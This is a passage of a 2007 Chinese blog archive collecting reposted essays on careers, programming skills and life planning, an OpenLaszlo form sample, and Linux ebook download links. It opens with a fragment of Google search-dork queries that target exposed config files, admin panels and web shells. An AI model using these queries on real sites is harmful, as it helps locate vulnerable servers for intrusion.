folder" size modified ------------------------------------------------------------------------------------------------------------------- "File Upload Manager v." "rename to" ext:asp "powered by DUForum" inurl:(messages|details|login|default|register) -site:duware.com ext:asp inurl:DUgallery intitle:"." -site:dugallery.com -site:duware.com ext:cgi inurl:ubb_test ezBOO "Administrator Panel" -cvs filetype:cgi inurl:cachemgr.cgi filetype:cnf my.cnf -cvs -example filetype:inc inc intext:setcookie filetype:php inurl:"viewfile" -"index.php" -"idfil filetype:wsdl wsdl intitle:"ASP FileMan" Resend -site:iisworks.com intitle:"Index of /" modified php.exe intitle:"phpremoteview" filetype:php "Name, Size, Type, Modify" inurl:" WWWADMIN.PL" intitle:"wwwadmin" inurl:"nph-proxy.cgi" "Start browsing through this CGI-based proxy" inurl:"plog/register.php" inurl:cgi.asx?StoreID inurl:robpoll.cgi filetype:cgi The Master List "More Info about MetaCart Free" 原文地址 http://www.blog.edu.cn/user2/61451/archives/2006/1093748.shtml
posted @ 2007-05-26 13:08 MEYE 阅读(1449) | 评论 (0)编辑 收藏

 

 

http://blog.csdn.net/lin_bei/archive/2007/05/09/1601895.aspx

http://www.openfans.net/main.html

http://dev.yesky.com/javagaoji/




Unix-Center.Net

Unix体验中心

http://www.unix-center.net/?page_id=2


在 IBM Systems 上安装 Linux 服务器,第 1 部分: Linux 服务器的基本安装和配置



C++的罗浮宫你应当如何学习C++(以及编程

http://blog.csdn.net/pongba/archive/2007/05/16/1611593.aspx


谷歌跃居大学生最理想雇主排行第一

2007年美国大学生最理想雇主排行榜出炉

  谷歌打败迪斯尼跃居第一

  今年调查结果显示,美国大学生择业有两个主要趋势:从事公益活动或者追求高薪,但看起来,这是互为矛盾的两种选择。

  本报讯5月12日,美国著名雇主品牌管理公司优信咨询(Universum)公布了最新一期的“2007年美国大学生最理想雇主排行榜”。

  前五名包括:两个政府机构———美国国务院和美国和平队(PeaceCorps美国志愿服务组织);两个高利润的科技创新公司———谷歌和苹果公司以及一个媒体巨头———迪斯尼公司。谷歌跃居第一今年的排行榜上,谷歌打败了去年第一名的迪斯尼公司,成为大学生心中最理想的雇主。

  此次调查还发现,学生们没有以往那么青睐于制药产业和消费品产业。比如,以往一直居于排行榜前十位的强生公司从第8名跌至18名,而雅培实验室由第54名滑至百名之外。同时,消费品领域的公司排名也开始下滑,如宝洁公司(从14名下降到21名)和欧莱雅公司(从27名滑落到35名)。

  据统计,参与此次调查的大学生人数达到44064人。当大学生列出理想雇主的名单时,他们倾向于填写能够让自己发挥潜能并且有一定成就的组织。此次调查还包括了前200名理想雇主和名次下降明显的前50名雇主,涉及文科、信息技术、工程学和工商学等领域。热衷公益组织今年调查结果显示,美国大学生择业的两个主要趋势:从事公益活动或者为高薪而工作,但看起来,这是互为矛盾的两种选择。不过,优信咨询公司的CEO克劳迪亚·塔塔内里(ClaudiaTattanelli)表示:这两者的初衷是一致的,都是为未来成功铺路的聪明之举。例如,有良好口碑的美国公共服务机构美国和平队和“为美国而教”教育项目,在2006年甚至根本没有上榜,而今年却直接闯进了前十名。

  “这些非赢利组织的声誉会使简历看起来更加漂亮。”塔塔内里说。这两个组织的员工承担着一定的义务,而这常常是政府官员和雇主在招收毕业生时非常看重的一点。事实上,和“为美国而教”项目合作的许多公司会让雇员先为公益组织工作两年,再开始正式工作。(谢婷)

  美国和平队(PeaceCorps)

  一个联邦政府组织,美国的志愿者经训练后被派往国外帮助发展中国家人民提高技术、农业和教育水平。有过这种经历的人回归到自身的文化环境后,就具有了跨文化的工作能力。“为美国而教”(TeachforAmerica)教育项目

  该项目组是由肤色各异、专业各异的美国大学生组成的。他们奔赴到城市或农村的学校,完成两年的教书工作。与中国的大学生毕业后支教西部的活动相似。

  前10名最理想雇主

  公司或组织投票率谷歌(google)13.37%

  迪斯尼公司(Walt Disney Co.)10.03%

  苹果()8.47%

  美国国务院(State Dept.)6.87%

  和平队(Peace Corps)6.87%

  中央情报局(Central Intelligence Agency)6.72%

  普华永道(Pricewaterhouse Coopers)6.44%

  微软(Microsoft)6.31%

  联邦调查局(Federal Bureauof Investigation)6.27%

  “为美国而教”项目(Teach For America)6.26%



身为开发人员的您,准备好迎接Widows Mobile 6了吗? 

http://blog.csdn.net/donggua123/archive/2007/05/21/1619405.aspx



 

posted @ 2007-05-21 19:03 MEYE 阅读(379) | 评论 (0)编辑 收藏



http://www.disound.com/zblog/rss.asp?cate=3


<?xml version="1.0" encoding="UTF-8" ?>
<canvas>
 <script>
  function checkIt(){
   if(canvas.input.inputname.name.getText()==""){
    canvas.input.checkView.setText("姓名不能为空")
    return 0;
    
   }
   else{
    return 1;
   }

  }
 </script>
 <simplelayout axis="x" spacing="30"/>
 <view name="input" x="30" y="30"   width="50%" height="100%">
  <simplelayout axis="y" spacing="10"/>
  <view  name="inputname" x="10">
   <simplelayout axis="x" spacing="10"/>
   <text>请输入姓名</text>
   <edittext name="name"></edittext>
  </view>
  <view  name="inputpassword" x="10">
   <simplelayout axis="x" spacing="10"/>
   <text>请输入密码</text>
   <edittext name="password" password="true"></edittext>
  </view> 
  <view name="inputage" x="10">
   <simplelayout axis="x" spacing="10"/>
   <text>请输入年龄</text>
   <edittext name="age" pattern="[1,2,3,4,5,6,7,8,9,0]*" ></edittext>
  </view> 
  <view name="inputsex" x="10">
   <simplelayout axis="x" spacing="10"/>
   <text>请输入性别</text>
    <combobox  name="sex" editable="false" defaulttext="请选择">
       <textlistitem text="男" />
       <textlistitem text="女" />
     </combobox>
  </view> 
  <view name="inputmail" x="10">
   <simplelayout axis="x" spacing="10"/>
   <text>请输入E-Mail</text>
   <edittext name="mail"></edittext>
  </view> 
  <button isdefault="true">
   重置
   <method event="onclick">
    parent.inputname.name.setText("");
    parent.inputpassword.password.setText("");
    parent.inputage.age.setText("");
    parent.inputsex.sex.setText("请选择");
    parent.inputmail.mail.setText("");
   </method>
  </button>
  <button isdefault="true">
   提交
   <method event="onclick">
    if(!checkIt()){}
    else{
     if(canvas.look.dataView.getText != ""){
      canvas.look.dataView.clearText();
     }
     canvas.look.dataView.addText("姓  名:" + parent.inputname.name.getText()+"\n");
     canvas.look.dataView.addText("年  龄:" + parent.inputage.age.getText()+"\n");
     canvas.look.dataView.addText("性  别:" + parent.inputsex.sex.getText()+"\n");
     canvas.look.dataView.addText("E-Mail:" + parent.inputmail.mail.getText()+"\n");
    }
   </method>
  </button>
  <text name="checkView" multiline="true" maxlength="1000"/>
 </view>
 <view name="look" y="30" width="50%" height="100%">
  
  <text name="dataView" multiline="true" maxlength="1000">


  </text>
 </view>
</canvas>


http://www.openria.cn/posts/list/38.page


http://www.wujianrong.com/archives/2007/02/laszlo.html

http://www.onjava.com/pub/a/onjava/2005/06/15/laszlo.html

http://blog.csdn.net/xray_gu


http://www.xml.com/pub/a/2006/10/11/introducing-open-laszlo.html?page=2
posted @ 2007-04-19 15:22 MEYE 阅读(414) | 评论 (0)编辑 收藏
[转帖]一个人分别在“国企,外企,民企”的工作经历       

本人大学毕业以后被分配到医院工作,在医院做为医生工作过7年,后来应聘到外企,先后在世界著名的医药公司工作过7年,分别是:瑞士,德国,美国公司。然后出国2年,回国后在一家民营企业工作了7个月。可以说经历了个总类型的企业,包括当海龟的经历。很想在这里和朋友们分享,也给正在找工作的朋友提供一些参考。
  先从国营单位说起。
  国营单位人际关系比较复杂,在国营单位要想生存的舒服,能力不是主要的,人际关系,裙带关系比较关键。因为国营单位的效益增加与否,与所谓领导的political利益关系不大。也就是说,单位效益不好,不会动摇领导者的领导地位,他的既得利益不会受影响。业务能力不过是领导控制下属的一个工具,不是考核工具。因此想靠业务能力在国营单位有所发展,比较难。一个业务能力不强,但是八面玲珑的人,更容易受到重用。国企从工作量上讲,比较轻松。也不需要什么主观能动性,也没有什么激励机制,属于不费体力,但累心的单位。比较适合中年,保持混的心态的人工作。因此对于年轻人来说,在国营单位工作,要学会与人相处,学会察言观色,当然业务不能丢。这样你学会了如何与人相处,再拥有了一定的业务,你就具备了挑选自己职业生涯的能力,留下还是跳槽,就全有你选择了。如果你没有业务能力,那么你也就只能留在国营单位。因为外企和国企完全不同。那里是靠能力发展的地方。
再说说外企。
  从我所工作过的外企和自己职业生涯的上升过程。个人认为,外企人际关系比较简单,特别是那种外国人作为直接老板的外企(以欧美公司为例,本人没有亚洲企业的工作经理)。外国人比较烦中国人之间复杂的人际关系,对于爱汇报别人不好的员工,外国人比较看不起。因此外国人更重视员工的工作能力。在外企一切都是拿工作业绩说话。如果你业绩不好,你再会拍马屁也没有用。因为外国老板的职位也是要靠业绩来巩固的。如果他的业绩不好,他也要失业,所以员工的业绩与他的前途密切挂钩。也许搞技术的不同,我是搞销售,市场的,所以能力的表现就显得特别重要。比如提升,一定是提拔工作业绩好的。还有一点,就是在外企,个人利益是要自己主动争取的。如果老板不给你长工资,而你的业绩做得好,你可以直接找老板谈条件。往往最终是可以达到目的的。外企如果在底层,一般没有什么political,但是做到中,高层,就会有political,当然大部分也是老外之间斗。或者是一些中国人之间斗。我的经验是,从不参加任何人的拉帮结派。做好自己的工作,拿业绩说话。同时也还是要和各部门同事之间搞好关系。这样对自己协调工作有利。在外企工作的人一定要明白自己的地位,永远不可能替代外国老板的位置。所以没有必要在同事之间树敌。只要你能拿到你希望的薪水,得到提升就可以了。但是在外企一定要有一个好的工作态度。在外企工作,老板最讨厌和公司讨价还价,斤斤计较的人,这样的人,看似可以得到眼前的小利,却会失去自己希望得到的更大的利益。比如,我在德国公司工作的时候,我们出差的标准是我们这个级别的人,可以住5星级酒店。和我一个级别的男同事们从来不肯让自己吃亏,不管离办公室多远,一定要住够档次的酒店,而我不在乎酒店的级别,我觉得不过就是睡一觉,在那里都可以,我只想住离办公室近的地方,方便上班。3星级的我也可以住。结果是我出差的费用总是比其他同事少,可是我却完成和别人一样的事情。看似我好像亏了,结果是等到提升的时候,老板提升了我,理由就是我懂得为公司节省费用,并完成了同样的事,他们认为这是作为一个管理者应该具备的财务观念。外企考核人的标准是非常注意人品的,老板从来不轻易的批评员工,但是他们比中国人更细的观察员工。因此在外企工作,绝对不能偷奸耍滑,很多外企工作的人抱怨在外企没有前途,我想与他们那种典型中国人的喜欢占小便宜的思想有关。说到年龄,我是30岁才到外企,从销售做起,到37岁离开外企出国已经是市场总监了。我想如果我不辞职,我照样可以继续干下去。所谓个人认为,外企比较适合有能力,有创意的年轻人工作。外企,特别是世界级的大公司,都非常重视培训。而这个培训是无价的。不过有一点可以告诉大家,就是越大,越有名气的公司,基础员工的工资反而并不高。因为公司的名气就是一种无形资产。也就是说,你在大公司的工作经历,可以使你很容易得找到付给你高工资的其他低一级的企业。公司非常清楚自己知名度的品牌价值。所以建议那些想进入大公司的年龄人,如果你想未来有所发展,就不要在乎起始工资,进入大公司,接受他们的培训,比什么都重要,因为这个才是你以后增值,要高价的基础。如果是世界一流的大公司,就是给500块,也要进去。如果你相信自己有能力,你就要努力干,你就能得到提升,你才有挣5万块的资本。

最后,说说民营企业。出国两年后,回国。在第一个月之内,猎头公司就知道我回来了,给我推荐了3个公司。一个是国内的药厂,一个是合资的药厂,另一个是民营企业。由于民营企业开的价格比较高,而且单位距离我家也很近,我就选择了这个单位。那年我39岁。我想他们从4个合适的人选中,最后选中我,一来是我以前在国内外企医药市场多年的经验,二来,这个企业是个所谓的高科技企业,也需要一些嘴里能蹦外国话的人来冲门面。来吸引投资人投资。然而我发现,我不能适应那里的文化。特别不能让我接受的就是,员工的素质。同事之间勾心斗角,而且男女关系混乱。特别是管理层素质很差。公司评价员工是以能喝酒,能吹牛为标准的。惩罚,奖励机制没有。作为的总经理也是投资人聘用的,以浪费投资人的钱为手段。没有看到开发出什么新产品,但是总是靠写各种投资报告吸引有资金的人投资。而且员工之间相互不懂的尊重,吵架,乱搞得很常见。因此我觉得很难融入这样“原始状态”的工作环境,因此在工作半年的时候提出辞职。对民企的感觉就是,看起来,又打卡,又计分的,其实根本没有管理概念,不但没有企业管理理念,也没有人事,财务管理理念,各项管理都比较混乱,带有很强的私营和国营杂交的特质。所有的经营都是短期概念。不适合作为长期发展的目标。也许是我没有遇到好的民营企业吧?不过对我来说,有这一次经历也就够了。我个人认为可以作为实在找不到工作暂时落脚的地方,对于年轻人切不可久留,否则不但什么都学不到,而且还会造成对职业非常错误的理念。
  
  总结一下就是,外企是适合年轻人学东西,学本领的地方,如同一个非常好的能力培训基地。国企是个锻炼中国式人际交往的地方,也是可以通向仕途的唯一通路。民企是个暂时的收容所,不能久留。以上纯属个人意见,可供讨论




程序员 :超越软件蓝领的七种武器 [转]  
信息技术的发展时间虽然不长,但其爆炸式的发展速度使信息技术迅速覆盖社会和人类生活的各个角落。程序员们是这场信息化浪潮的见证者之一,更是其中的主要参与者,这是时代赋予每个程序员的机会和责任。 

信息技术的更新速度是惊人的,程序员的职业生涯则是一个要求不断学习的过程,永远不能固步自封。本人在工作期间曾看见过很多程序员只要有闲暇时间就浏览一些没有太大作用的网页,在网上聊天,打游戏,浪费了大量的时间,十分不可取。而另外一种情况是,IT技术的日新月异使很多程序员眼花缭乱,什么都想学,却又不知从何学起,今天看看这个,明天学学那个,贪多不熟。 

虽然IT技术发展迅速,但很多技术都是有规律可循,一些基本的概念、原理和方法还很通用,可以举一反三。本人根据自己的体会和经验,向那些刚刚踏入IT行业的新程序员们或正在迷茫的程序员们推荐程序员必须掌握的七种武器,有了这七种武器,虽不敢说笑傲江湖,但将自己立于不败之地还是可以的。 

第一种武器:开发工具 

至少熟练掌握两到三种开发工具的使用,这是程序员的立身之本,其中C/C++和JAVA是我重点推荐的开发工具,C/C++以其高效率和高度的灵活性成为开发工具中的利器,很多系统级的软件还是用C/C++编写。而JAVA的跨平台和与WEB很好的结合是JAVA的优势所在,而本人对SUN公司的“网络即计算机”的概念相当欣赏,并相信JAVA即其相关的技术集JAVA One会成为未来的主流开发工具之一。其次,如果能掌握一种简便的可视化开发工具,如VB,PowerBuilder,Delphi,C++ Builder,则更好,这些开发工具减小了开发难度,并能够强化程序员对象模型的概念。另外,需要掌握基本的脚本语言,如shell,perl等,至少能读懂这些脚本代码。 

第二种武器:数据库 

为什么数据库是如此重要?很多应用程序都是以数据库的数据为中心,而数据库的产品也有不少,其中关系型数据库仍是主流形式,所以程序员至少熟练掌握一两种数据库,对关系型数据库的关键元素要非常清楚,要熟练掌握SQL的基本语法。虽然很多数据库产品提供了可视化的数据库管理工具,但SQL是基础,是通用的数据库操作方法。如果没有机会接触商业数据库系统,可以使用免费的数据库产品是一个不错的选择,如mySQL, Postgres等。 

第三种武器:操作系统 

当前主流的操作系统是Windows,Linux/Unix,熟练地使用这些操作系统是必须的,但只有这些还远远不够。要想成为一个真正的编程高手,需要深入了解操作系统,了解它的内存管理机制、进程/线程调度、信号、内核对象、系统调用、协议栈实现等。Linux作为开发源码的操作系统,是一个很好的学习平台,Linux几乎具备了所有现代操作系统的特征。虽然Windows系统的内核实现机制的资料较少,但通过互联网还是能获取不少资料。只有对操作系统有一定的了解后,你会发现自己上了一个新的台阶。 

第四种武器:网络协议TCP/IP 

在互联网如此普及的今天,如果您还没有对互联网的支撑协议TCP/IP协议栈有很好的掌握,就需要迅速补上这一课,网络技术已改变了软件运行的模式,从最早的客户/服务器结构,到今天的WEB Services,再到未来的网格计算,这一切都离不开以TCP/IP协议栈为基础的网络协议支持,所以,深入掌握TCP/IP协议是非常必要的。至少,你需要了解ISO七层协议模型,IP/UDP/TCP/HTTP等常用协议的原理和三次握手机制。 

第五种武器:DCOM/CORBA/XML/WEB Services 

随着技术的发展,软件与网络的无缝结合是必然趋势,软件系统的位置无关性是未来计算模式的重要特征之一,DCOM/CORBA是当前两大主流的分布计算的中间件平台,DCOM是微软COM(组件对象模型)的扩展,而CORBA是OMG支持的规范。程序员需要做的不仅仅是利用商业的开发平台来开发软件,而是要理解这些技术的初衷,即为什么需要这项技术,如果你能理解了这一点,再回头看这些技术的具体实现,就如庖丁解牛,迎刃而解。XML/WebServices重要性不言而喻,XML以其结构化的表示方法和超强的表达能力被喻为互联网上的“世界语”,是分布计算的基石之一。 

第六种武器:软件工程与CMM 

现代大型软件系统的开发中,工程化的开发控制取代个人英雄主义,成为软件系统成功的保证,一个编程高手并不一定是一个优秀的程序员,一个优秀的程序员是将出色的编程能力和开发技巧同严格的软件工程思想有机结合,编程只是软件生命周期中的其中一环,优秀的程序员应该掌握软件开发各个阶段的基本技能,如市场分析,可行性分析,需求分析,结构设计,详细设计,软件测试等。一句话可以概括我的看法:“创意无限,流程保证”。 

第七种武器:强烈的好奇心 

什么才是一个程序员的终极武器呢,那就是强烈的好奇心和学习精神。没有比强烈的好奇心和学习精神更好的武器了,它是程序员们永攀高峰的源泉和动力所在。 

其?学好一种就够用了。
posted @ 2007-04-09 21:31 MEYE 阅读(766) | 评论 (0)编辑 收藏

几本linux学习的书籍

本人正在进行linux 的学习 希望这些资料对linux爱好者有用
linux 教材大全 ftp://down.eshuba.com/eshuba/xitongxiangguan/Linuxjcdq.rar


linux 使用大全 http://down.eshuai.cn/shuba/xito ... %C3%B4%F3%C8%AB.rar
linux 学习宝典 http://down1.cnhacker.com/booksdown/07013103050c8cb659a28f9ff.rar
 
       

linux 从入门到精通 http://www.gouhuo.com/study/linuxbook.zip
练成linux 高手 http://www.jz5u.com/download.asp?id=15590&downid=0
送给linux 初学者 ftp://211.95.73.26/hl/送给初学Linux的穷人Linux系统指令大全.pdf 
 
        
 
linux 系统管理 ftp://211.95.73.26/1zxhlinux.rar
linux 命令大全 http://ftpgz5.pconline.com.cn/exam/it/Linux061114.rar
linux 软件工程师 ftp://222.214.218.42/book3/20060 ... 81-4941bcee1f11.pdf 
 
 
 基础学习 http://www.00083.com/soft/upload ... 84b69a63c2ed2a47af3
基础教程完整版 http://download.chinaitlab.com/download.asp?id=34873
命令全集 http://down.linuxmine.com/soft/0/1/01000001.rar 
 

  使用学习教程 ftp://222.214.216.57/book2/20061 ... 16-c8b5facb0654.chm
网络安全配置 http://vip.hackbase.com/vipsoft/vipteacher/20050305linux29.rar
linux 从入门到精通 ftp://down.eshuba.com/eshuba/200601/Linux ??????.rar 
 


  http://ftpgz13.pconline.com.cn/pub/download/200205/linuxsite.rar
新手管理员手册 http://www.00083.com/soft/upload ... fc01983a9ded8943b62
安装与配置简明手册 http://cpss.zz.ha.cn/study/linux ... %f7%ca%d6%b2%e1.zip
网络实际操作 thunder://QUFodHRwOi8vZG93bmxvYWQuY2hpbmFpdGxhYi5jb20vZG93bmxvYWQuYXNwP2lkPTM3MTM3Wlo=
红旗linux 中文版初级教程 http://down.hack58.com/fzw_hack58/sohu/11-23linux.rar
linux 核心源代码分析PDG http://www.00083.com/soft/uploadsoft/linux核心源代码分析.rar?6103004891303x1174341082x6103009877379-15c492eb5c3033c99a07c2fba419c496
破解根用户密码 http://www.942d.com/shipin/bbs/linuxsn.rar
Red Hat Linux Fedora傻瓜书 httP://book1.ibook8.com/ibook8co ... 5/041113/fedora.rar 
 


Linux知识宝库典藏版  ftp://222.214.218.42/book3/20060 ... 35-0c5492042030.chm
Linux程序设计  ftp://down.eshuba.com/eshuba/xitongxiangguan/Linuxcxsj.rar
Linux参考大全  httP://book1.ibook8.com/ibook8com/pc2005/701/1/521hacker-20.zip
linux编程初学者入门  ftp://222.214.216.57/book2/20061 ... 00-a603302e0466.rar 
 


LINUX应用技术精华{面向初学Linux朋友的书籍}   http://www.linuxfans.org/nuke/software/LINUX应用技术精华{面向初学Linux朋友的书籍}/LINUX应用技术精华{面向初学Linux朋友的书籍}.rar
redhat9从入门到精通  http://down.315safe.com:315/redhat9从入门到精通.rar 
 

 

Linux C函数库参考手册  http://cnc-http.xpbook.com:81/200506/Linux%20C函数库参考手册.rar?6102881127298x1150968278x6102884440460-71dc8cd6d874db99d29888002914a4d5
Linux 内核完全注释   httP://book1.ibook8.com/ibook8co ... 113/linuxsystem.rar
Linux2006年9月 总第三期  http://www.linuxer.cn/magazine/linuxer3-2006-09.pdf
Linux_network_manage-3245      http://down.csdn.net/down2//2006 ... ork_manage-3245.rar
一周内学会Linux系统管理   http://download1.csdn.net/down2/2006/10/499/1zxhlinux-2605.rar
linux编程白皮书   http://download1.csdn.net/down//2006/webdown/004/Linuxbcbps.rar
linux上的c编程   http://www.cinchina.com/Soft/Sho ... lID=1&SoftID=12
linux宝典  thunder://QUFodHRwOi8vZG93bmxvYWQuY2hpbmFpdGxhYi5jb20vZG93bmxvYWQuYXNwP2lkPTM3MDk3Wlo=
《Linux内核完全注释》 V1.9.5版  http://oldlinux.qbang.org/download/clk011c-1.9.5.pdf
linux教材  thunder://QUFodHRwOi8vd3d3Lmp6NXUuY29tL2Rvd25sb2FkLmFzcD9pZD0xNDUxNSZkb3duaWQ9MFpa
linux命令全集Shell_manual  http://www.uplinux.com/php/downl ... ZWxsX21hbnVhbC56aXA 
 


这些资源用迅雷下载可能会快一些
PDF 格式的支持在线观
 

posted @ 2007-04-03 21:59 MEYE 阅读(1972) | 评论 (4)编辑 收藏


(找工作)如何给自己定位:


一份好工作应该是自己所喜欢的工作。走自己的路,做自己喜欢的事情,选择自己感兴趣的职业,选择适合自己兴趣的职业,使自己的才知和天性得以最大程度的发挥,是每个求职者首先应该考虑的一个重要问题。切不可轻易放弃这一标准而盲目追求热门工作、进大城市或高收入等等。

 

Ⅱ,其次,一份好的工作应该是有利于自身发展的工作。从发展的眼光看前景,这是求职者必须加以考虑的,在选择具体单位时,任何一个单位都会有利有弊。在权衡利弊过程中也要从有利于自身发展的角度考虑,或者是能为你进一步提高自己提供条件,或者是能帮助你积累经验,或者是能使你开拓一个新领域,或者是为你深造赢得了时间等等。

 

Ⅲ,一份好的工作应该是你力所能及的工作。你所向往的好工作可能很多,但能不能选择一份力所能及的工作却是决定成败的一个关键。其中包含两层意思,一是指你是否能胜任这份工作,二是你是否能得到这份工作。首先要选择你能够胜任的工作。也许你有门路、有办法进入一个相当有实力的单位,但在竞争日趋激烈的今天,如果你无法胜任这份工作,即使这份工作再好,也最好不要问津,免得被工作所累,免得在激烈的竞争中被淘汰出局。再者,大学生在求职择业时普遍存在着期望值过高的倾向,不少朋友动辄非几千元月薪不去,正是由于这种不切实际的期望值,使得一次一次在求职中失败,待到认清自己的定位时,合适的工作却被别人占去了,这种教训应该认真汲取。就业是一件时效性很强的工作,只要调整好自己,把握好标准,抓住机遇,对多数朋友来说,找份好工作并不难。



写给即将走向职场的大学毕业生朋友们

写给即将走向职场的大学毕业生朋友们
                       ——读“尘世流沙”的《狮子和绵羊》的故事有感

         我很感谢 “尘世流沙”网友在百度贴吧里发的题为《狮子和绵羊》的寓言故事。楼主用凄美、悲怆的笔触叙述了寓言故事里的精美画面和动人情节。读罢全文,不禁让我联想到两个问题:
        其一:有着“革命的将军”之称的拿破仑说的“狮子统帅的绵羊的部队,能够打败绵羊统帅的狮子的部队”的话。将军告诉人们“三军易得,一将难求”的道理,同时也告诫世人当我们遭遇到事业发展的“瓶颈期”,是否更该冷静反省一下“自己是缺乏狮子般的勇气还是自己仅有被驯服的绵羊般的温顺和能力”呢?
       其二、大学毕业生步入职场是寻找能够充分展露自己在大学熔炉里锻造出来的“特殊商品”的功效,还是先解决自己的温饱的生存问题呢?
随着近年来国家教育制度的改革,大学教育也转入普及化、大众化的教育,因此,曾经风光一时的“香饽饽”现今却面临着很严峻的就业问题。我们不应该无谓地去责备政府,因为这是我国国力和人口发展进程中必然出现的社会问题。诚然,人民政府必须为大学毕业生创造良好的创业发展平台,但更需要广大的大学生必须持着积极冷静的心态思考这个问题。
         今天我正好在腾讯网中看到两则新闻:清华大学高材生黄剑林“弃甲归田、投笔从锅”回家开小挡卖炒粉,他“挥锅舞铲”一炒就是6年。而且,目前有了妻儿的他表现出依依不舍“三尺灶台”之慨;清华大学保卫科副科长、在读博士生毅然决然地辞职“摆地摊”修理电动车。
          对于这两条似乎“惊爆”无比的消息我丝毫不感到震惊。想当初春秋战国时期吴越大战,“陶侏公”范蠡为帮助越王勾践复国雪耻,经过十年图聚,卧薪尝胆,最终打败吴王夫差而为世人所颂扬。但他功成名就之后不是选择做“乱世之英雄、治世之贤臣”,却选择归隐江湖、经商论道,成就了一个声名显赫的一代富商,而没有沦为“兔死狗烹、鸟死弓藏”、不能同富贵的刀下冤魂!
         我不是知识无用论者,我始终捍卫“科学技术是第一生产力”的伟大旗帜。 “ 物竞天择,适者生存”。纵然 “时势造英雄”是不辩的事实,然而,英雄可以改变历史但不能创造历史,广大人民群众才是历史的真正创造者,古今皆然。所以,生存规则是适者生存而非强者生存!早在20世纪80年初期就有媒体报道一个大学教授沿街摆起卖茶叶蛋的小铺。现如今,岁月的年轮翻滚到21世纪为什么莘莘学子就不能“炒粉修车”呢?没有今日求得生存哪来明日的发展和辉煌呢?谁能料今日的“洋打工”不是明日的“陶侏公”呢?
         若是要我选择作吃草的温顺绵羊,还是作饕餮食肉的狮子?我就会边吃草边寻找森林———是金子总会闪光的!

                                                                                                              海坛枭雄  于非洲
                                                                                                                 2007年4月3日  
   
                                               《  狮子和绵羊》

  [原文链接]     一天,两只狮子赛跑,越跑越远,离开了森林;越跑越远,迷失了方向,来到了辽阔的草原。它们努力地想辨清方面,但东奔西跑了一整天也找不到来时的路,再也回不到它们熟悉的森林。


  第二天,饿了,慌了。两只狮子一向在森林中要风得风,要雨得雨,从来不晓得挨饿的滋味究竟如何。放眼过去,辽阔的草原上空无一物,见不到任何小动物的踪影。


  “你可以变成羊。”天空忽然传来一个声音。


  其中一只狮子心念一动,果然变成了绵羊,立刻饥不择食地吃草去。原先有点抗拒和无奈,不过吃着吃着,它也逐渐习惯了。为了温饱,有些无奈是可以习惯的。


  另一只狮子尽管已精疲力竭,却并不甘心。它由衷地鄙视自己的同伴,“我是万兽之王,不能吃草啊!”它望了望远方,可能草原的尽头还有另一片森林。”说完头也不回地奔向天边。


  草原似乎没有尽头,天空不时还传来同样的声音:“你可以变成羊——你可以变成羊——”固执的狮子越跑越慢,沉重的脚步没有停过。从白天跑到黑夜,终于倒下,再也站不起来。月亮升起来了,星星在夜空中眨眼。草原上不知从何处冒出来许许多多的绵羊,大家沉默、知足地低头吃着草。青草不好吃,总好过饿死啊。那座倒下的身影,在月光下越发显得伟岸、悲壮。


  换作是你,你会选择吃草,还是继续奔跑?   
                                                                      



人生成功生涯规划100诀

文章来源:http://www.kaifulee.com/modules/bbs/viewthread.php?tid=22206

  生涯规划是新时代的潮流,现代人的课题,生涯规划愈早做愈好,胜算也愈大,而且愈到老愈受用,自己不但要早做生涯规划,让自己活出快乐人生,而且要做子女、学生、员工的生涯贵人,为他们生涯点灯,协助指导他们适性发展。
  生涯规划诀窍100则,系从江文雄:生涯规划一书中,摘要其重点内容供参考。如果您能将这100诀,经常阅读、反思,人生必然不断成长、精进,更为圆融、得众。愿彼此共勉之。

  01. 生涯即人生、生涯即竞争,生涯规划就是个人一生的竞争策略规划。

  02. 生涯要规划,更要经营,起点是自己,终点也是自己,没有人能代劳。

  03. 生涯规划就是规划人生的远景,彩绘生命的蓝图,发挥自己的才能,写出人生的剧本。

  04. 生涯规划包括如何成长、学习、谋生及生活,是一连串思考、选择、计划、打拼、发展的终生历程。

  05. 生涯规划的目的,在于掌握住现在。看得见未来;促进自我暸解、自我定位、自我发展及自我实现。

  06. 成功的人生,需要自己去经营,别再说了,莫再等了,现在就为自己的人生做好规划,为人生点亮一盏明灯,赢在人生起跑点上。

  07. 人生是一趟旅行,只卖是单程票,不卖回程票。

  08. 时间就是生命,人生何其短暂,请珍惜有限岁月,活出自己,活出生命。

  09. 人生之路要自己走,要过怎样的人生,完全是自己的选择,只有自己才能赋予生命最佳的诠释。

  10. 人生像演员,不同的场合,不同的阶段,扮演不同的角色,重要的是,无论演什么,就要像什么。

  11. 人生的愿望,在于:成为自己的老板,掌握自己的命运,主宰自己的时间,创造自己的快乐,追求自己的幸福。

  12. 人生的标的,在于:感觉被欣赏,人格被尊重,成就被肯定,生而能尽欢,死而能无憾。

  13. 生活的目的,在于:活得实在,活得自在,活出健康,活出品味,活出快乐,活出豪气,活出尊严。

  14. 人生最重的事,不是您现在站在何处,而是您今后要朝那个方向,只要方向对,找到路,就不怕路远。

  15. 成功的人生,胜于成功的事业,一味追求事业的赢家,最后可能变成人生的输家。

  16. 佛前的灯,不必刻意去点,最重要的是,点亮自己的心灯,知道自己的起跑点及目的地,想出最适合自己的方式,按部就班跑向目的地。

  17.人的一生,是一连串决定交织而成的过程,其精华在于自己如何选择。生命的最高境界,就是选对舞台,尽情挥洒才华,走出自己的路。

  18.人生成功的定义,要自己去找寻;人生快乐的感觉,要自己去诠释;千万不要迷失在别人的看法中。

  19.价值观,就是我们对事物好与坏、对与错的看法,我们觉得好的、对的、重要的、应该的,都代表了我们的价值观,因人而异,系于一念之间。

  20.在对人、对事方面,如果能尽量选择朝愉的方向去想,就会愈来愈感到愉快。

  21.一个人只要想法愿意改变,事情就有转机,改变的意念会愈强,胜算就愈大,成功的机会,远留给拥抱变化、渴望改变的人。

  22.人生是计划的过程,计划的主人是自己,计划做得具体,执行做得确实,胜算必然属于自己。

  23.积极的人,充满乐观,展现活力,总是知道自己的方向,要的是什么?更清楚地知道,自己该如何去做。

  24.人在高潮时,千万不可得意忘形,否则骄兵必败;人处低潮时,千万不可灰心丧志,否则郁卒自灭。

  25.一个人如果心态开放,保持好奇,破除成见,不断进修,求新求变,将会使视野开阔,拥有创意人生。

  26.快不快乐在自己,快乐从心起,自己求,要学习。

  27.当一个人感到很知足,心不烦,身不疲,无所求,心能安的时候,快乐就在其中。

  28.当一个人感到吃得下,玩得动,睡得好,没牵挂,很满足的时候,幸福就在其中。

  29.快乐的源泉在于:知足、无求。尽责、无怨、宽容、感恩、舍得、放下、忘记。

